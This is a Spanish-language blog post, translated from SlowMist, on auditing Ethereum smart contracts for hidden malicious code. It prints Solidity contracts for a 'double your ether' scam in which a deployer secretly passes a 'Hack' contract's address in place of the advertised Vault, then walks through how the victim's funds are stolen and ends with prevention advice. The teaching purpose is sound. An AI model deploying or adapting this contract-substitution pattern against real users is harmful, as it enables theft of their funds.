WEB3DEV Español

Delia Viloria T
Delia Viloria T

Posted on

Introducción a la Auditoría de Seguridad de Contratos Inteligentes: identificación de código malicioso oculto

Image description

Contexto

En este artículo, te guiaremos sobre cómo identificar códigos maliciosos ocultos en los contratos.

Conocimientos previos

¿Recuerdas cuando hablamos sobre la implementación de contratos de ataque en ediciones anteriores? Mencionamos que se pasa la dirección del contrato de destino y que las funciones del contrato de destino se pueden llamar desde dentro del contrato de ataque. Algunos atacantes usan esto para engañar a sus víctimas. Por ejemplo, ellos pueden implementar el contrato A y decirle a su víctima que la dirección del contrato B se transferirá durante la implementación del contrato A y que el contrato B es de código abierto. Sin embargo, en realidad, la dirección del contrato C se pasa durante la implementación del contrato A. Si la víctima confía que no verificaron la transacción que implantó el contrato A, el atacante ha ocultado con éxito su código malicioso en el contrato C. Este concepto se ilustra en la siguiente imagen:

Image description

La forma en que el usuario piensa que funciona la ruta de la llamada:

Ellos implementan el contrato A y pasan la dirección del contrato B, de manera que la ruta de la llamada es la esperada.

Pero en realidad, la ruta de la llamada real es:

Ellos implementan el contrato A y pasan la dirección del contrato C. Por lo tanto, la ruta de la llamada es inesperada.

Para entender mejor esta estafa , echemos un vistazo a un ejemplo simple:

Código malicioso

// SPDX-License-Identifier: MITpragma solidity ^0.8.13;
contract MoneyMaker {    Vault vault;
   constructor(address _vault) {        vault = Vault(payable(_vault));    }
   function makeMoney(address recipient) public payable {        require(msg.value >= 1, "You are so poor!");
       uint256 amount = msg.value * 2;
       (bool success, ) = address(vault).call{value: msg.value, gas: 2300}("");        require(success, "Send failed");
       vault.transfer(recipient, amount);    }}
contract Vault {    address private maker;    address private owner;    uint256 transferGasLimit;
   constructor() payable {        owner = msg.sender;        transferGasLimit = 2300;    }
   modifier OnlyMaker() {        require(msg.sender == maker, "Not MoneyMaker contract!");        _;    }
   modifier OnlyOwner() {        require(msg.sender == owner, "Not owner!");        _;    }
   function setMacker(address _maker) public OnlyOwner {        maker = _maker;    }
   function transfer(address recipient, uint256 amount) external OnlyMaker {        require(amount <= address(this).balance, "Game Over~");
       (bool success, ) = recipient.call{value: amount, gas: transferGasLimit}(            ""        );        require(success, "Send failed");    }
   function withrow() public OnlyOwner {        (bool success, ) = owner.call{            value: address(this).balance,            gas: transferGasLimit        }("");        require(success, "Send failed");    }
   receive() external payable {}
   fallback() external payable {}}
//Este código está escondido en un archivo filecontract Hack separado {    event taunt(string message);    address private evil;
   constructor(address _evil) {        evil = _evil;    }
   modifier OnlyEvil() {        require(msg.sender == evil, "What are you doing?");        _;    }
   function transfer() public payable {        emit taunt("Haha, your ether is mine!");    }
   function withrow() public OnlyEvil {        (bool success, ) = evil.call{value: address(this).balance, gas: 2300}(            ""        );        require(success, "Send failed");    }
   receive() external payable {}
   fallback() external payable {}}
Enter fullscreen mode Exit fullscreen mode

Análisis del Fraude

Como podemos ver en el código anterior, hay tres contratos involucrados. Para entender mejor los roles de cada contrato, podemos utilizar nuestros conocimientos preexistentes para distinguirlos de la siguiente manera:

El contrato denominado "Moneymaker" representa el contrato A.

El contrato denominado "Vault" representa el contrato B.

El contrato denominado "Hack" representa el contrato C.

Por lo tanto, la ruta de llamada que el usuario espera es:

Moneymaker -> Vault

Sin embargo, el camino a la llamada real es:

Moneymaker -> Hack

Esto significa que se le está haciendo creer al usuario que está interactuando con el contrato B, cuando en realidad está interactuando con el contrato C, que es el que contiene el código malicioso.

Echemos un vistazo a cómo el atacante realiza la estafa:

  1. El atacante implementa el contrato Vault(B) y reserva un fondo de 100 ETH en él y luego abre el contrato Vault(B) en el Blockchain.

  2. El atacante implementa el contrato malicioso Hack(C).

  3. El atacante publica noticias de que están implementando un contrato de código abierto llamado Moneymaker(A). Durante la implementación, se pasará la dirección del contrato Vault(B) y se llamará a la función Vault.setMacker() para definir el rol del creador a la dirección del contrato Moneymaker. Cualquier persona que llame a la función Moneymaker.makeMoney() y coloque al menos 1 ETH en el contrato recibirá el doble de Ether.

  4. Bob escucha las noticias y se entera de la existencia del contrato Moneymaker. Lee los códigos de los contratos Moneymaker(A) y Vault(B) y comprueba el saldo en el contrato Vault(B). Descubre que la lógica es exactamente como dijo el atacante. No sospecha del atacante y no verifica la transacción de implementación de Moneymaker(A)

  5. Bob llama a la función Moneymaker.makeMoney() y pone su valor neto total de 20 ETH en el contrato. Mientras espera recibir 40 ETH del contrato Vault(B), recibe el mensaje "¡Jaja, tu Ether es mío!" porque el atacante lo estafó con éxito al implementar el contrato malicioso Hack(C) y pasar su dirección en lugar de la dirección del contrato Vault(B) durante la implementación del contrato Moneymaker(A).

Esta estafa es simple, pero común. El atacante implementa el contrato Moneymaker y en lugar de pasar la dirección del contrato Vault, pasan la dirección del contrato Hack. Por lo tanto, cuando Bob llama a la función Moneymaker.makeMoney(), no llama a la función Vault.transfer() como él esperaba, que devolvería el doble de Ether, pero llama a la función Hack.transfer() que activa un evento "Jaja, tu Ether es mío! Finalmente, Evil (el mal) llama a la función Vault.Withrow() para transferir los 100 ETH en el contrato Vault y transfiere los 20 ETH transferidos por Bob a través de la función Hack.Withrow().

De esta forma, el atacante es capaz de robar el Ether de Bob, haciéndole creer que está interactuando con un contrato legítimo, cuando en realidad está interactuando con un contrato malicioso. Esta estafa tiene éxito porque el atacante ocultó el contrato malicioso detrás de una fachada de legitimidad y confianza, y Bob no verifica la dirección real del contrato con el que está interactuando.

Consejos de prevención

En el oscuro bosque de Ethereum, lo único en lo que puedes confiar es en ti mismo. No confíes ciegamente en ningún contrato. Los registros de transacciones en el blockchain no se pueden modificar, por lo que sólo al verificar por tí mismo la transacción correspondiente, puedes confiar en que lo que dice la otra parte es cierto. Siempre haz tu propia investigación y mantén la debida diligencia antes de realizar cualquier transacción o interacción en la red Ethereum.

Este artículo fue escrito por SlowMist y traducido por Delia Viloria T.
El original se puede leer aquí.

Sería genial encontrarnos en Discord, puedes contarnos tus ideas, comentarios, sugerencias y dejarnos saber lo que necesitas.

Si prefieres puedes escribirnos a @web3dev_es en Twitter.

Discussion (0)